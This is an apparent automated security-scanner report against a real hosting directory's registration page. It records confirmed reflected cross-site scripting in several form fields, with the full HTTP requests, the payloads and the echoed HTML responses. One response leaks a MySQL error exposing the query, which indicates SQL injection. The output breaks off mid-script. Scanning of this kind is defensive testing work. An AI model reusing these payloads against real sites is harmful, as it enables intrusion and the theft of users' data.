<option value='C4C0A65D598D2DD5814F11C5A51949F6C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='C4C0A65D598D2DD53665AA4153F5D36D6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='C4C0A65D598D2DD57CCB24FA701CA5AAC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='C4C0A65D598D2DD574C01615F2204DB5C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='C4C0A65D598D2DD5E1DF0F33A746AFE46F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='C4C0A65D598D2DD5708C3BA44C390CE5C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='C4C0A65D598D2DD536F89D34AB275142C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='C4C0A65D598D2DD5CE8855F0D2D1A31D6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='C4C0A65D598D2DD577CC1FECA0F66274C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='C4C0A65D598D2DD53F573561FA6A956D6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='C4C0A65D598D2DD5B74DCAA0223F847DC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='C4C0A65D598D2DD50642A8CAD5E7DDD8C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='C4C0A65D598D2DD50474F9FDB809CF2DC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='C4C0A65D598D2DD58171E88F6EAA838CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='C4C0A65D598D2DD5BE813C6E90B86431C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='C4C0A65D598D2DD5CE4F82ADA925DB8AC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='C4C0A65D598D2DD579978B007FFFC2A26F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='C4C0A65D598D2DD5436FA9420F11FE196F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='C4C0A65D598D2DD5D5E248BE74D784896F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
account_type POST 1
address POST 3
address2 POST 3
B1 POST Create An Account!
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_country POST 240
bill_phone POST 3
bill_province POST 3
bill_state POST 3
bill_zip POST 3
card_number POST 3
card_type POST 1
city POST '"--></style></script><script>alert(0x001CBE)</script>
company_name POST Smith
copy_from_cont POST 1
country POST 240
deposit POST 3
e_mail POST netsparker@example.com
expire_date POST 3
first_name POST Smith
last_name POST Smith
owner_first_name POST Smith
owner_last_name POST Smith
password POST 3
phone POST 3
promo_code POST 3
province POST 3
retype_e_mail POST netsparker@example.com
retype_password POST 3
state POST 3
zip POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060
Content-Length: 583
Accept-Encoding: gzip, deflate

account_type=1&address=3&address2=3&B1=Create+An+Account!&bill_address=3&bill_address2=3&bill_city=3&bill_country=240&bill_phone=3&bill_province=3&bill_state=3&bill_zip=3&card_number=3&card_type=1&city='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001CBE)%3c%2fscript%3e&company_name=Smith&copy_from_cont=1&country=240&deposit=3&e_mail=netsparker%40example.com&expire_date=3&first_name=Smith&last_name=Smith&owner_first_name=Smith&owner_last_name=Smith&password=3&phone=3&promo_code=3&province=3&retype_e_mail=netsparker%40example.com&retype_password=3&state=3&zip=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 12:49:51 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='C4C0A65D598D2DD53CCC9E1B3E992A76C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='C4C0A65D598D2DD53318C6AB1E5F540A6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='C4C0A65D598D2DD54FADFA971CE5AFD7C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='C4C0A65D598D2DD5FC2CAB3FB60C8FCCC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='C4C0A65D598D2DD500DD1A946CAB48706F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='C4C0A65D598D2DD5C241E0B4CC7F1ED9C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='C4C0A65D598D2DD554C29A8C08ED61FFC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='C4C0A65D598D2DD58B804237E193AE596F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='C4C0A65D598D2DD573358E87656AC428C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='C4C0A65D598D2DD56E219DF54CFF55856F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='C4C0A65D598D2DD53C1764EA918657E7C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='C4C0A65D598D2DD56F3130A0DCAB8223C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='C4C0A65D598D2DD58A3261C0CDB26EC4C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='C4C0A65D598D2DD58AFC62030B087284C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='C4C0A65D598D2DD503A47B4503C4B712C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='C4C0A65D598D2DD520C8F00148577871C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='C4C0A65D598D2DD5E8FBEB22BCF939866F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='C4C0A65D598D2DD57483B06B4E0184606F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='C4C0A65D598D2DD5824B8496A7EC0F6F6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
account_type POST 1
address POST 3
address2 POST 3
B1 POST Create An Account!
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_country POST 240
bill_phone POST 3
bill_province POST 3
bill_state POST 3
bill_zip POST 3
card_number POST 3
card_type POST 1
city POST 3
company_name POST '"--></style></script><script>alert(0x001CBF)</script>
copy_from_cont POST 1
country POST 240
deposit POST 3
e_mail POST netsparker@example.com
expire_date POST 3
first_name POST Smith
last_name POST Smith
owner_first_name POST Smith
owner_last_name POST Smith
password POST 3
phone POST 3
promo_code POST 3
province POST 3
retype_e_mail POST netsparker@example.com
retype_password POST 3
state POST 3
zip POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060
Content-Length: 579
Accept-Encoding: gzip, deflate

account_type=1&address=3&address2=3&B1=Create+An+Account!&bill_address=3&bill_address2=3&bill_city=3&bill_country=240&bill_phone=3&bill_province=3&bill_state=3&bill_zip=3&card_number=3&card_type=1&city=3&company_name='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001CBF)%3c%2fscript%3e&copy_from_cont=1&country=240&deposit=3&e_mail=netsparker%40example.com&expire_date=3&first_name=Smith&last_name=Smith&owner_first_name=Smith&owner_last_name=Smith&password=3&phone=3&promo_code=3&province=3&retype_e_mail=netsparker%40example.com&retype_password=3&state=3&zip=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 12:49:55 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 338
Connection: close
Content-Type: text/html; charset=UTF-8


Error #1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"--></style></script><script>netsparker(0x001CBF)</script>'' at line 1 in SQL SELECT account_id FROM account WHERE company_name=''"--></style></script><script>netsparker(0x001CBF)</script>'
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
account_type POST 1
address POST 3
address2 POST 3
B1 POST Create An Account!
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_country POST 240
bill_phone POST 3
bill_province POST 3
bill_state POST 3
bill_zip POST 3
card_number POST 3
card_type POST 1
city POST 3
company_name POST Smith
copy_from_cont POST 1
country POST 240
deposit POST '"--></style></script><script>alert(0x001CDE)</script>
e_mail POST netsparker@example.com
expire_date POST 3
first_name POST Smith
last_name POST Smith
owner_first_name POST Smith
owner_last_name POST Smith
password POST 3
phone POST 3
promo_code POST 3
province POST 3
retype_e_mail POST netsparker@example.com
retype_password POST 3
state POST 3
zip POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060
Content-Length: 583
Accept-Encoding: gzip, deflate

account_type=1&address=3&address2=3&B1=Create+An+Account!&bill_address=3&bill_address2=3&bill_city=3&bill_country=240&bill_phone=3&bill_province=3&bill_state=3&bill_zip=3&card_number=3&card_type=1&city=3&company_name=Smith&copy_from_cont=1&country=240&deposit='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001CDE)%3c%2fscript%3e&e_mail=netsparker%40example.com&expire_date=3&first_name=Smith&last_name=Smith&owner_first_name=Smith&owner_last_name=Smith&password=3&phone=3&promo_code=3&province=3&retype_e_mail=netsparker%40example.com&retype_password=3&state=3&zip=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 12:50:19 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function 